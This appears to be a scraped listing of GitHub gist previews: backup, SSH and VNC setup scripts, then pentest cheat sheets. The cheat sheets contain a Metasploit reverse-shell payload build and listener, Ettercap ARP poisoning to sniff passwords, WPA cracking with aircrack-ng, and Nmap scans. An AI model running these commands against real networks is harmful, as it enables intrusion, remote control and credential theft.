This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# make sure to run this with /bin/bash, NOT /bin/sh | |
echo | |
echo This script will help you setup ssh public key authentication. | |
host=dummy |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# | |
# This script is used on a QNAP TS-269 PRO. https://www.en0ch.se/qnap-and-rsync/ | |
# | |
# You have to change: | |
# 1. $SHAREUSR | |
# 2. $EXCLUDES (if you want o change the name of the file servername.excludes) | |
# 3. $SOURCE & $DESTINATION | |
# 4. [email protected] for the mysqldump | |
# 5. --password=SUPERSECRET |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Automating backups with tar ## | |
It is always interesting to automate the tasks of a backup. | |
Automation offers enormous opportunities for using your Linux server to achieve the goals you set. | |
The following example below is our backup script, called backup.cron. | |
his script is designed to run on any computer by changing only the five variables: | |
COMPUTER | |
DIRECTORIES | |
BACKUPDIR |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# full and incremental backup script | |
# created 07 February 2000 | |
# Based on a script by Daniel O'Callaghan <[email protected]> | |
# and modified by Gerhard Mourani <[email protected]> | |
# and modified by Shawn Anderson <[email protected]> on 2016-08-14 | |
#Change the 5 variables below to fit your computer/backup | |
#Create the backup script <backup.cron> file, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Ubuntu 15.04 – Configure your system to have x11vnc running at startup. ## | |
Hello World, | |
If you are following us, you probably remember that we wrote already a post about this topic | |
(see Ubuntu 14.10 – Configure your sytem to have x11vnc running at startup). | |
Since Ubuntu 15.04 is using systemd, the instructions found in the previous post are not applicable anymore. | |
Some of our readers had issues after upgrading to Ubuntu 15.04. | |
The x11VNC is not running at startup anymore. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Metasploit: Custom Psexec Executable ## | |
#The first thing we need to do is generate a custom executable to use with Meterpreter. | |
$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4445 R | msfencode -t exe -e x86/shikata_ga_nai -c 5 > custom.exe | |
#Next we need to setup a multi handler to listen for connections. | |
$ msf > use exploit/multi/handler | |
$ msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Use Ettercap to Sniff Traffic ## | |
#Ettercap allows us to do arp poisoning and sniff plaintext passwords. | |
$ ettercap -M arp -T -q -i interface /spoof_ip/ /target_ips/ -w output_file.pcap |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Cracking WPA/WPA2 PSK ## | |
#Use JtR to generate candidate passwords for aircrack-ng | |
$ john --incremental:all --stdout | aircrack-ng --bssid 00-00-00-00-00-00 -a 2 -w - capture_file.cap | |
#Use Hashcat to generate candidate passwords for aircrack-ng | |
$ ./hashcat-cli32.bin wordlist -r rules/d3ad0ne.rule --stdout | aircrack-ng --bssid 00-00-00-00-00-00 -a 2 -w - capture_file.cap |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Create an IP List with Nmap ## | |
#You'll find this particularly useful for tools or scripts that operate on new line delimited list of IP addresses. | |
#You can use this simple Nmap syntax to create a file with a list of appropriate IPs. | |
nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Basic Scanning with Nmap ## | |
#Discovery Scans: | |
nmap -v -n -PE <target> | |
nmap -v -n -PE -PO -PM -PP <target> | |
nmap -v -n -PS21-23,25,53,80,443,3389 -PO -PE -PM -PP <target> | |
#Detailed TCP Scans: |